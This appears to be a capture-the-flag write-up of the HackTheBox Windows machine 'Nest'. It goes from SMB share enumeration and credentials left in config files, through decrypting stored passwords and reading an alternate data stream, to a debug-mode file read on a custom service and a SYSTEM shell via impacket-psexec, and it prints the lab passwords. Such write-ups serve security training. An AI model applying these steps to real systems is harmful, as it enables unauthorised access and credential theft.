Nest Writeup

26 February 2023 #CTF #HTB #box #easy #windows

nest info

Enumeration

One nmap a day keeps the vulnerabilities away:

$ sudo nmap -n -Pn -p- -oN -T4 enum/fulltcp.nmap 10.10.10.178
[...]
PORT     STATE SERVICE      REASON
445/tcp  open  microsoft-ds syn-ack ttl 127
4386/tcp open  unknown      syn-ack ttl 127
[...]
$ sudo nmap -n -Pn -sCV -p 445,4386 -oN enum/scripts-tcp.nmap -T4 10.10.10.178
[...]
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help: 
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
[...]
Host script results:
| smb2-time: 
|   date: 2023-02-26T17:23:48
|_  start_date: 2023-02-26T17:01:31
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
[...]

SMB

Let's start by listing the shares:

$ smbclient -NL 10.10.10.178

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk
        IPC$            IPC       Remote IPC
        Secure$         Disk
        Users           Disk

There's 3 non standard shares: Data, Secure$ and Users.

We should mount the shares locally so it is a bit easier to work with:

$ mkdir -p smb/{data,secure,users}
$ sudo mount -t cifs -o username=asdf,password=asdf '//10.10.10.178/Secure$' smb/secure
$ sudo mount -t cifs -o username=asdf,password=asdf //10.10.10.178/Users smb/users
$ sudo mount -t cifs -o username=asdf,password=asdf //10.10.10.178/Data smb/data

Secure$ Share

We can access the Secure$ share anonymously, but we can't do much with it:

$ smbclient -N '//10.10.10.178/Secure$'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \*

We can't list contents or write files, but we may be able to read files if we know the path.

Users Share

We can access the Users share, but we can't view any folder:

$ smbclient -N //10.10.10.178/Users
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 00:04:21 2020
  ..                                  D        0  Sun Jan 26 00:04:21 2020
  Administrator                       D        0  Fri Aug  9 17:08:23 2019
  C.Smith                             D        0  Sun Jan 26 08:21:44 2020
  L.Frost                             D        0  Thu Aug  8 19:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 19:02:50 2019
  TempUser                            D        0  Thu Aug  8 00:55:56 2019

smb: \> ls TempUser\
NT_STATUS_ACCESS_DENIED listing \TempUser\
smb: \> ls C.Smith\
NT_STATUS_ACCESS_DENIED listing \C.Smith\

Data Share

In Data, we have access to 2 files:

$ find smb/data -type f 2> /dev/null
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt

The welcome email has some creds:

We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR

TempUser

Let's unmount and remount the shares with the TempUser account:

$ sudo umount -R smb/{users,data,secure}
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 //10.10.10.178/Users smb/users
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 //10.10.10.178/Data smb/data
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 '//10.10.10.178/Secure$' smb/secure

Now we can view more files:

$ find smb -type f 2> /dev/null
smb/users/TempUser/New Text Document.txt
smb/data/IT/Configs/Adobe/editing.xml
smb/data/IT/Configs/Adobe/Options.txt
smb/data/IT/Configs/Adobe/projects.xml
smb/data/IT/Configs/Adobe/settings.xml
smb/data/IT/Configs/Atlas/Temp.XML
smb/data/IT/Configs/Microsoft/Options.xml
smb/data/IT/Configs/NotepadPlusPlus/config.xml
smb/data/IT/Configs/NotepadPlusPlus/shortcuts.xml
smb/data/IT/Configs/RU Scanner/RU_config.xml
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt

In smb/data/IT/Configs/RU Scanner/RU_config.xml, there is what looks like an encrypted password for the c.smith user:

<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

We don't know what to do with it yet, but definitely interesting.

In smb/data/IT/Configs/NotepadPlusPlus/config.xml there's a history of previously opened files:

[...]
    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts"/>
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"/>
        <File filename="C:\Users\C.Smith\Desktop\todo.txt"/>
    </History>
[...]

We see a file in the Secure$ share, inside the IT/Carl folder. Let's check if we can access this directory:

 $ ls smb/secure/IT/Carl
 Docs   Reports  'VB Projects'

VB Project

There's only 1 VB Project:

$ ls 'smb/secure/IT/Carl/VB Projects/WIP/RU'
RUScanner  RUScanner.sln

In Utils.vb there's a Decrypt function:

Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)

This might be what we need to decrypt the password we found earlier.

We'll copy the RUScanner directory and the sln file to a Windows VM in order to run it in Visual Studio.

After launching the project in Visual Studio, we can comment out the first 2 lines of the main function (in Module1.vb) and use the DecryptString function to decrypt the password we found in the config file:

main function

Debug.WriteLine() will print the password on the 'Output' console:

decrypted password

C.Smith

With c.smith's password we can (once again) re-mount the shares to see if we have access to other files:

$ find smb/ -type f 2> /dev/null
smb/users/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe
smb/users/C.Smith/HQK Reporting/Debug Mode Password.txt
smb/users/C.Smith/HQK Reporting/HQK_Config_Backup.xml
smb/users/C.Smith/user.txt
[...]

Debug Mode Password.txt has a size of 0 bytes, but if we look at it in smbclient and use the allinfo command, we see it has an alternate data stream:

smb: \C.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Fri Aug  9 01:06:12 AM 2019 CEST
access_time:    Fri Aug  9 01:06:12 AM 2019 CEST
write_time:     Fri Aug  9 01:08:17 AM 2019 CEST
change_time:    Wed Jul 21 08:47:12 PM 2021 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

The stream is called Password, let's download it:

smb: \C.smith\HQK Reporting\> get "Debug Mode Password.txt":Password
[...]
$ cat 'Debug Mode Password.txt:Password'
WBQ201953D8w

Custom Service (port 4386)

Let's see what this custom service is about:

$ nc -C 10.10.10.178 4386

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

Note that we have to use the -C flag to make nc send a \r\n instead of a \n when we press Enter (Windows likes it that way).

We can list files in the current directory with the list command and we can change directories with the setdir command.

After entering debug mode we have some more commands:

>debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

The showquery command enables us to read files. After browsing through the filesystem, we come accros an interesting file in ../LDAP:

>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

The Administrator's password is encrypted in a similar fashion as we saw in the 'RUScanner' config file.

HqkLdap.exe

To understand how the password is being used by this HqkLdap.exe executable, we'll transfer it to a Windows VM (again) and analyze it with dnSpy:

main function

The main function will take the config file specified as an argument, iterate over the lines and set variables. The most interesting part is when the line starts with 'Password=' it will call this DS function:

decrypt string function

It looks a lot like the DecryptString function in the Visual Basic project. Since it uses .NET, the APIs are the same so we can modify the DecryptString function to use the key and salt from the HqkLdap.exe executable:

change decryptstring function

Call it with the encrypted administrator password:

main function

And boom we have it in clear text:

administrator password

Administrator Access

With the administrator's password, we can get a shell with psexec:

$ impacket-psexec 'administrator:XtH4nkS4Pl4y1nGX@10.10.10.178'
[...]
C:\Windows\system32> whoami
nt authority\system

Key Takeaways